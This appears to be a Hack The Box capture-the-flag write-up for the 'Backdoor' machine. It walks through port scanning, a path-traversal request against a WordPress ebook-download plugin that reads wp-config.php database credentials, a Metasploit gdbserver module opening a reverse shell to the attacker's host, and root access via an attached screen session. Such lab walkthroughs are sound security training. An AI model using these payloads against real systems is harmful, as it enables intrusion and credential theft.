Backdoor - [HTB] | Marmeus's Website

Introduction

Backdoor is a Linux machine where the attacker will have to find executed commands through an LFI on a WordPress plugin. Finally, for becoming root will have to attach to a screen terminal as root.

Enumeration

As always, let's start finding all opened ports in the machine with Nmap.

kali@kali:~/Documents/HTB/backdoor$ sudo nmap -v -sS -p- -n -T5 -oN AllPorts.txt 10.10.11.125
Warning: 10.10.11.125 giving up on port because retransmission cap hit (2).
Nmap scan report for 10.10.11.125
Host is up (0.18s latency).
Not shown: 65532 closed tcp ports (reset)
PORT     STATE SERVICE
22/tcp   open  ssh
80/tcp   open  http
1337/tcp open  waste

Read data files from: /usr/bin/../share/nmap
# Nmap done at Mon Nov 22 12:27:33 2021 -- 1 IP address (1 host up) scanned in 371.30 seconds

Then, we continue with a deeper scan of every opened port, getting more information about each service.

kali@kali:~/Documents/HTB/backdoor$ sudo nmap -sC -sV -n -T5 -oN PortsDepth.txt -p 22,80,1337 10.10.11.125
Nmap scan report for 10.10.11.125
Host is up (0.18s latency).

PORT     STATE SERVICE VERSION
22/tcp   open  ssh     OpenSSH 8.2p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey: 
|   3072 b4:de:43:38:46:57:db:4c:21:3b:69:f3:db:3c:62:88 (RSA)
|   256 aa:c9:fc:21:0f:3e:f4:ec:6b:35:70:26:22:53:ef:66 (ECDSA)
|_  256 d2:8b:e4:ec:07:61:aa:ca:f8:ec:1c:f8:8c:c1:f6:e1 (ED25519)
80/tcp   open  http    Apache httpd 2.4.41 ((Ubuntu))
|_http-server-header: Apache/2.4.41 (Ubuntu)
|_http-title: Backdoor &#8211; Real-Life
|_http-generator: WordPress 5.8.1
1337/tcp open  waste?
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Looking for domains on the web page we can find the backdoor.htb.

kali@kali:~/Documents/HTB/backdoor$ curl http://10.10.11.125/ | grep --color .htb
[...]
u-item-20" class="menu-item menu-item-type-custom menu-item-object-custom menu-item-20"><a href="http://backdoor.htb/">Home</a></li>

Enumerating WordPress with WpScan we can find an installed plugin.

kali@kali:~/Documents/HTB/backdoor$ wpscan --url http://backdoor.htb/ -e ap,at,dbe,u --random-user-agent --detection-mode aggressive --plugins-detection aggressive --disable-tls-checks
[...]
[+] ebook-download
 | Location: http://www.backdoor.htb/wp-content/plugins/ebook-download/
 | Last Updated: 2020-03-12T12:52:00.000Z
 | Readme: http://www.backdoor.htb/wp-content/plugins/ebook-download/readme.txt
 | [!] The version is out of date, the latest version is 1.5
 | [!] Directory listing is enabled
 |
 | Found By: Known Locations (Aggressive Detection)
 |  - http://www.backdoor.htb/wp-content/plugins/ebook-download/, status: 200
 |
 | Version: 1.1 (100% confidence)
 | Found By: Readme - Stable Tag (Aggressive Detection)
 |  - http://www.backdoor.htb/wp-content/plugins/ebook-download/readme.txt
 | Confirmed By: Readme - ChangeLog Section (Aggressive Detection)
 |  - http://www.backdoor.htb/wp-content/plugins/ebook-download/readme.txt
[...]

Exploitation

The Ebook plugin has an associated vulnerability on exploit-db, which can be exploited with the following command:

kali@kali:~/Documents/HTB/backdoor$ curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=../../../wp-config.php
[...]
/** MySQL database username */                                                 
define( 'DB_USER', 'wordpressuser' );                                          
                                                                               
/** MySQL database password */                                                 
define( 'DB_PASSWORD', 'MQYBJSaD#DxG6qbm' );
[...]

Exploitation 2

Because port 1337 is very common in CTFs, maybe there is a custom binary listening on this port.

In order to find the executed command, we can take advantage of the path traversal vulnerability iterating over the /proc/ folder.

After waiting for some time, we can see that gdbserver has a listening port on 1337.

kali@kali:~/Documents/HTB/backdoor$ for i in {1..10000}; do echo $i; curl http://backdoor.htb/wp-content/plugins/ebook-download/filedownload.php?ebookdownloadurl=/proc/$i/cmdline 2>/dev/null | grep -v window.close ; done

[...]
/proc/957/cmdline/proc/957/cmdline/proc/957/cmdline/bin/sh-cwhile true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -dmS root \;; done<script>w
indow.close()</script>958
/proc/958/cmdline/proc/958/cmdline/proc/958/cmdline<script>window.close()</script>959                              
/proc/959/cmdline/proc/959/cmdline/proc/959/cmdline/bin/sh-cwhile true;do su user -c "cd /home/user;gdbserver --once 0.0.0.0:1337 /bin/true;"; done<script>win
dow.close()</script>960

In Metasploit, there is an associated module for the gdbserver which allows us to obtain a reverse shell as "user".

msf6 > use multi/gdb/gdb_server_exec
msf6 exploit(multi/gdb/gdb_server_exec) > options

Module options (exploit/multi/gdb/gdb_server_exec):

   Name      Current Setting  Required  Description
   ----      ---------------  --------  -----------
   EXE_FILE  /bin/true        no        The exe to spawn when gdbserver is not attached to a process.
   RHOSTS    backdoor.htb     yes       The target host(s), see https://github.com/rapid7/metasploit-framework/wiki/Using-Metasploit
   RPORT     1337             yes       The target port (TCP)


Payload options (linux/x64/shell_reverse_tcp):

   Name   Current Setting  Required  Description
   ----   ---------------  --------  -----------
   LHOST  10.10.15.118     yes       The listen address (an interface may be specified)
   LPORT  4444             yes       The listen port


Exploit target:

   Id  Name
   --  ----
   1   x86_64 (64-bit)
msf6 exploit(multi/gdb/gdb_server_exec) > exploit

[*] Started reverse TCP handler on 10.10.15.118:4444 
[*] 10.10.11.125:1337 - Performing handshake with gdbserver...
[*] 10.10.11.125:1337 - Stepping program to find PC...
[*] 10.10.11.125:1337 - Writing payload at 00007ffff7fd0103...
[*] 10.10.11.125:1337 - Executing the payload...
[*] Command shell session 6 opened (10.10.15.118:4444 -> 10.10.11.125:35586 ) at 2021-11-22 14:22:35 -0500

id 
uid=1000(user) gid=1000(user) groups=1000(user)

Privilege Escalation

Enumerating with linpeas we can see that the root user is executing an infinite loop with a screen session.

[...]
root         957  0.0  0.0   2608  1756 ?        Ss   11:19   0:14      _ /bin/sh -c while true;do sleep 1;find /var/run/screen/S-root/ -empty -exec screen -d mS root ;; done
[...]

In order to access the active root screen, we need to execute the following command, which attaches to the current root session named "root".

screen -x root/root 
Must be connected to a terminal.

However, we need to be in a proper terminal to execute the screen command, so we need to execute the following commands, becoming root.

$ python3 -c "import pty;pty.spawn('/bin/bash')"
user@Backdoor:/home/user$ screen -x root
screen -x root
Please set a terminal type.
user@Backdoor:/home/user$ export TERM=xterm
export TERM=xterm
user@Backdoor:/home/user$ screen -x root
screen -x root
There is no screen to be attached matching root.
user@Backdoor:/home/user$ screen -x root/root

root@Backdoor:~# cat /root/root.txt
[CENSORED]

Backdoor - [HTB]

Table of Contents

Introduction

Enumeration

Exploitation

Exploitation 2

Privilege Escalation